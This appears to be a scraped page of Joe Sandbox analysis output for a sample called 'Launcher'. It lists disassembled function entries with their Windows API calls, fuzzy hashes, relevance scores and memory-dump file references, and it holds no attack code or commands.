Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: 0=$355>
API String ID: 0-449071282
Opcode ID: 93539cd55af2d9a399bd9b22c8b1d1ca7b9d4e3e0bcb6da932c3f07893b337ec
Instruction ID: 111cec927b0873dfc31eafa104fc9811ba22c160dcc5e90f550ebdc05f080921
Opcode Fuzzy Hash: 93539cd55af2d9a399bd9b22c8b1d1ca7b9d4e3e0bcb6da932c3f07893b337ec
Instruction Fuzzy Hash: 2F7189719093818BD301CF29C09075BFFF2BFD6714F588A4CE4D41B289D3799A0A8B96

Function 005177CA Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,005177C5,?,?,?,?,?,?,00000000), ref: 005179F7

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: deef94ad32da14111b931d44605b807d6d9db142c68f2660734bffa49b732fb1
Instruction ID: 3fb2f2a460021204753cccbffda67f1d19de538a04a26ca10f13dce34c3aa058
Opcode Fuzzy Hash: deef94ad32da14111b931d44605b807d6d9db142c68f2660734bffa49b732fb1
Instruction Fuzzy Hash: 4DB119316146099FE715CF2CC48ABA97FB1FF49364F258658E899CF2A1C335EA91CB40

Function 00508BF5 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00508C0B

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: a8071ba30f0a25db4e4735c6abcdefd2d90ba045ca4aebfab3a3949e57097565
Instruction ID: 0800c1a209d6ce06e46aa6200a9bd0c41d01bbbbd2535938dcef43ab461245be
Opcode Fuzzy Hash: a8071ba30f0a25db4e4735c6abcdefd2d90ba045ca4aebfab3a3949e57097565
Instruction Fuzzy Hash: C8518D72A11605CFEB18CF59E885BAEBBF0FB58310F24852AC449EB290D7749D44DF50

Function 00533550 Relevance: 1.6, Strings: 1, Instructions: 363COMMON

Download Yara Rule

Strings

C, xrefs: 00533890

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: C
API String ID: 0-2515487769
Opcode ID: f9cf02cb8d491bafae60d4f3be2d9a29cf7a6d315fd5236a22ecfa101fd1b593
Instruction ID: 4a52a1c79fe47a0ca42e0141175ef37172e34a5a93f8c5d648a6f4d175243fbe
Opcode Fuzzy Hash: f9cf02cb8d491bafae60d4f3be2d9a29cf7a6d315fd5236a22ecfa101fd1b593
Instruction Fuzzy Hash: 70B159B3E082654BC7195E28D8542B9FFD2FB81710F6A0A1DE8D6973E1F6299F4187C0

Function 0051B625 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00512E60: GetLastError.KERNEL32(?,00000008,0051345F), ref: 00512E64
Part of subcall function 00512E60: SetLastError.KERNEL32(00000000,0050554A,00000006,000000FF), ref: 00512F06

EnumSystemLocalesW.KERNEL32(0051B74B,00000001,00000000,?,-00000050,?,0051BD7C,00000000,?,?,?,00000055,?), ref: 0051B697

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 28187554873df28e764fb7dba04e4e6f4958b9346d0a95670442a543acdcb77c
Instruction ID: b5283d1b8fa1c31dc3c41579ee32e4fc88bd1766e84176b9be27c69d5b3e3d19
Opcode Fuzzy Hash: 28187554873df28e764fb7dba04e4e6f4958b9346d0a95670442a543acdcb77c
Instruction Fuzzy Hash: 2F11E9362007055FFB18AF39C8955BABBA1FF90758B15452CE54787B40D7716983C750

Function 0051BBCD Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00512E60: GetLastError.KERNEL32(?,00000008,0051345F), ref: 00512E64
Part of subcall function 00512E60: SetLastError.KERNEL32(00000000,0050554A,00000006,000000FF), ref: 00512F06

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0051B967,00000000,00000000,?), ref: 0051BBF9

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: d6fbc691922bfe08a63c0ee869e894f0081bab3ab5568553967156381d9933d1
Instruction ID: e058812be0c144fc6e22849b66c16fddb610b1987f7c11ca4a4251b4f7a467c4
Opcode Fuzzy Hash: d6fbc691922bfe08a63c0ee869e894f0081bab3ab5568553967156381d9933d1
Instruction Fuzzy Hash: 12F0D13260011BABFB285A20C809FFB7F68FB80758F440528EC42A3180EF30ED81C6E0

Function 0051B6C0 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00512E60: GetLastError.KERNEL32(?,00000008,0051345F), ref: 00512E64
Part of subcall function 00512E60: SetLastError.KERNEL32(00000000,0050554A,00000006,000000FF), ref: 00512F06

EnumSystemLocalesW.KERNEL32(0051B99E,00000001,?,?,-00000050,?,0051BD40,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 0051B70A

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 55a2a261ea1e0b352c961dcdc1d833f8105b05a797092e92b09762fa4692e02e
Instruction ID: a949c03eea764e6d4fff54770fc719a5b166909cd7daccfd19a66dd3ea7fbcd5
Opcode Fuzzy Hash: 55a2a261ea1e0b352c961dcdc1d833f8105b05a797092e92b09762fa4692e02e
Instruction Fuzzy Hash: 11F0A4362003085FF7245E35D8856AA7F95FB81768F154429E6458B580C7715882C650

Function 0054AC10 Relevance: 1.5, Strings: 1, Instructions: 283COMMON

Download Yara Rule

Strings

JaLc, xrefs: 0054AE76

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: JaLc
API String ID: 0-344979129
Opcode ID: 8e80146edb3f6db929ac8a99ab996d6a685a2b385a45ba59e970b0079c819bad
Instruction ID: bcc19a92f423220a300195bdf7fb55db224f5914175962b15f89f27594a744b4
Opcode Fuzzy Hash: 8e80146edb3f6db929ac8a99ab996d6a685a2b385a45ba59e970b0079c819bad
Instruction Fuzzy Hash: AE9196B16083419BD714DF18C8916ABBBF2FFD6758F048A1CE4D58B295E778D841CB82

Function 0051B5DA Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00512E60: GetLastError.KERNEL32(?,00000008,0051345F), ref: 00512E64
Part of subcall function 00512E60: SetLastError.KERNEL32(00000000,0050554A,00000006,000000FF), ref: 00512F06

EnumSystemLocalesW.KERNEL32(0051B533,00000001,?,?,?,0051BD9E,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0051B611

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 0464d57f97e0a9eaa839679176f90c50143b7e6c8ae750c698bfd1f2409be42f
Instruction ID: ecaf7ddea9736d94751085d14438bebab4f6fa92b364548e28ffc1e5be80baa2
Opcode Fuzzy Hash: 0464d57f97e0a9eaa839679176f90c50143b7e6c8ae750c698bfd1f2409be42f
Instruction Fuzzy Hash: 6BF0E53A70020957EB149F36E846BBABFA5FFC1B50F4B4058EE058B291D7759883C7A0

Function 00513C0B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00512574,?,20001004,00000000,00000002,?,?,00511B76), ref: 00513C3F

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 50390f2448e85983aae8b80edb3bcc8b07d00ebcfefe281dcf15da6472e25ec2
Instruction ID: dadcb23de35340ffbc43ee8d85d44a6d10d618cc236d943843c827dfd5cb9509
Opcode Fuzzy Hash: 50390f2448e85983aae8b80edb3bcc8b07d00ebcfefe281dcf15da6472e25ec2
Instruction Fuzzy Hash: BCE04F35501129BBDF122F60DD19EEE7E2AFF54761F044011FC5565161CB358E61AAD0

Function 00508F5A Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00008F66,0050893C), ref: 00508F5F

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 6f2296308152c0531719fe63ba7b082d315a796fb94c1fb7162ecbff0c24e40a
Instruction ID: c354537b3cf7eebb223ed7643bbe2aa3e8fc2f46165a5313a2f90428db621611
Opcode Fuzzy Hash: 6f2296308152c0531719fe63ba7b082d315a796fb94c1fb7162ecbff0c24e40a
Instruction Fuzzy Hash:

Function 005549DC Relevance: 1.5, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

W, xrefs: 00554BAF

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: W
API String ID: 0-655174618
Opcode ID: eea99d8602fac8b34053a03ae38c4d8ea699af3b5dda76e23f2c9c15b6be08db
Instruction ID: a2b8c1cb78e9d9b5cb9cb0215d9b34b95fc56e51d7c5dec30d61e8c64db71ea9
Opcode Fuzzy Hash: eea99d8602fac8b34053a03ae38c4d8ea699af3b5dda76e23f2c9c15b6be08db
Instruction Fuzzy Hash: 3F91C43260D7818BC734CA2CC4A43DABBD2BBD5325F194B2DD8E9873D1DA359884CB42

Function 00565780 Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

@, xrefs: 00565857

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: cb131a86c164d394a38663eab858854a70b76e772bbe9ece9428f7b3b9114978
Instruction ID: cd799c06b707d5cf1d43a765baa0408c956594febfee88c30b92b5a7d32a50d7
Opcode Fuzzy Hash: cb131a86c164d394a38663eab858854a70b76e772bbe9ece9428f7b3b9114978
Instruction Fuzzy Hash: 5051FF71604301DFCB14CF18C881BABBBE1FF81324F58892CE9959B290E738D905CB92

Function 00565950 Relevance: 1.4, Strings: 1, Instructions: 145COMMON

Download Yara Rule

Strings

@, xrefs: 00565A01

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: d228db7f4014028ee4df35fda43443f762073ba8862a5f7696b4cee8071d6380
Instruction ID: bdbd8e50f4b699aee0e8cf039f34968adf75bee2380509b1fed36093661737b1
Opcode Fuzzy Hash: d228db7f4014028ee4df35fda43443f762073ba8862a5f7696b4cee8071d6380
Instruction Fuzzy Hash: F741FFB1548701DFCB10CF58C880A6BBBF1FF91324F188A2CE4958B291E335D904CB96

Function 0055049E Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

kblh, xrefs: 005504EF

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID: kblh
API String ID: 0-202472849
Opcode ID: f9ee011c239f3e2f4dd77017d63c64888107ab247f56a0bc773ae9315d9418f4
Instruction ID: 94a9ed0d2fe043b71b616dc68bb13acc9a2b1158113672a7e2137bf8a3e3c756
Opcode Fuzzy Hash: f9ee011c239f3e2f4dd77017d63c64888107ab247f56a0bc773ae9315d9418f4
Instruction Fuzzy Hash: AE515870100B458AD320CF34C498BE3BBE0BF5A305F14895DD4EB8B292DB7AA54ACF94

Function 00519720 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00519720

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 315d94652859315e2d1f162e37f32ebbbbf60fb79909bf48694670004062cebe
Instruction ID: 5dd33d2031eb5d1a792f226123544c18921aee2b7debd6846ecce410db1863dd
Opcode Fuzzy Hash: 315d94652859315e2d1f162e37f32ebbbbf60fb79909bf48694670004062cebe
Instruction Fuzzy Hash: 73A02430105104CF43004F30FD0430F35D47D157C0F0040147404C5070D730C054F700

Function 00532870 Relevance: .9, Instructions: 867COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 215c5b2a3d4a7b18f573f760b4e6087e98abebdc2e2bc5107d1877339af60f7c
Instruction ID: 5155f1b8ef0f177a05b7a8bac0fb64bd9c9060750b5e6f8fea35fc65eca7f321
Opcode Fuzzy Hash: 215c5b2a3d4a7b18f573f760b4e6087e98abebdc2e2bc5107d1877339af60f7c
Instruction Fuzzy Hash: AE5234326087158BC724DF1CE8842BFB7E1FFD4314F29892DE99687291E738A955CB42

Function 00561E70 Relevance: .8, Instructions: 788COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 823be0a66eb22efd5ccbc29f9ee9347db5e038607495e9b598ea0f67664124fe
Instruction ID: 39729a286348d22591292d65242f4a484de170a8116d91f75fb3c96a69d07bb1
Opcode Fuzzy Hash: 823be0a66eb22efd5ccbc29f9ee9347db5e038607495e9b598ea0f67664124fe
Instruction Fuzzy Hash: DB42AD756087419FC715CF28C890A2FBBE2BBD9314F188A2DF4968B395C734E945CB92

Function 0052DEF0 Relevance: .7, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975c48828b707f9c0b55caeabb80acfe89d27197ed447a7ef95429703cb554aa
Instruction ID: c01e23b88d3bff799da3ccba31bf09c3f6e3739eb2f972e0a76666e8d765bb73
Opcode Fuzzy Hash: 975c48828b707f9c0b55caeabb80acfe89d27197ed447a7ef95429703cb554aa
Instruction Fuzzy Hash: D452CE31608B518FC725CF29D08066AFBE2BF99314F188E2DE4DA87692D774F846CB51

Function 0052E8C0 Relevance: .6, Instructions: 608COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d86919a4cc1dd3a021a93bcad7ab2684401ff16b32444ad993a7483bb3f04d74
Instruction ID: cfe5a7b15730883b006b17d8b5c7d26fe94fbd0f5193d8440bd80c3bfd7f41b6
Opcode Fuzzy Hash: d86919a4cc1dd3a021a93bcad7ab2684401ff16b32444ad993a7483bb3f04d74
Instruction Fuzzy Hash: B5424270514B218FC368CF28D59566ABBF1FF86310BA08A2EE5978BB91D735F845CB10

Function 00530B30 Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fb0c924a37e59c78c9100619163958a3b9a112d91b24a710366973091f4c4c1
Instruction ID: e5fcdd48bdcadb822748e408a03f8a04fdfcd8890c7082fc54c38bb2ae38a7da
Opcode Fuzzy Hash: 0fb0c924a37e59c78c9100619163958a3b9a112d91b24a710366973091f4c4c1
Instruction Fuzzy Hash: CB1206326083418FC718CF28C89166ABFE5BFC8304F18896DE9998B392D735DC45CB96

Function 0053C663 Relevance: .4, Instructions: 418COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 075847bbf1e17941022f8e4b6ebdc814813a3041b1e5b9d8f8afb9e547cf29f2
Instruction ID: 0d8a3e7f07ca44eb0ee14b1653f824249966b44f61d3c0cbe30e3cda478e2790
Opcode Fuzzy Hash: 075847bbf1e17941022f8e4b6ebdc814813a3041b1e5b9d8f8afb9e547cf29f2
Instruction Fuzzy Hash: ACE13471600B428BD325CF29C895B62BBE1FF4A304F44896DD4EAD7AA1E734F854CB54

Function 00552850 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85a509bdb2c8d9983981e4fb225c0709cc038f9e6d0867cc86dcdd4eda489a13
Instruction ID: 79b2d1b4d7fa0b14e6771d180e007f54ce25ecbfb66491c4f46959d68166d2e5
Opcode Fuzzy Hash: 85a509bdb2c8d9983981e4fb225c0709cc038f9e6d0867cc86dcdd4eda489a13
Instruction Fuzzy Hash: 32B11730604B418BD339CB29C451767FBE2BF96315F188A1ED8EA4BB96D734E849CB50

Function 00566530 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
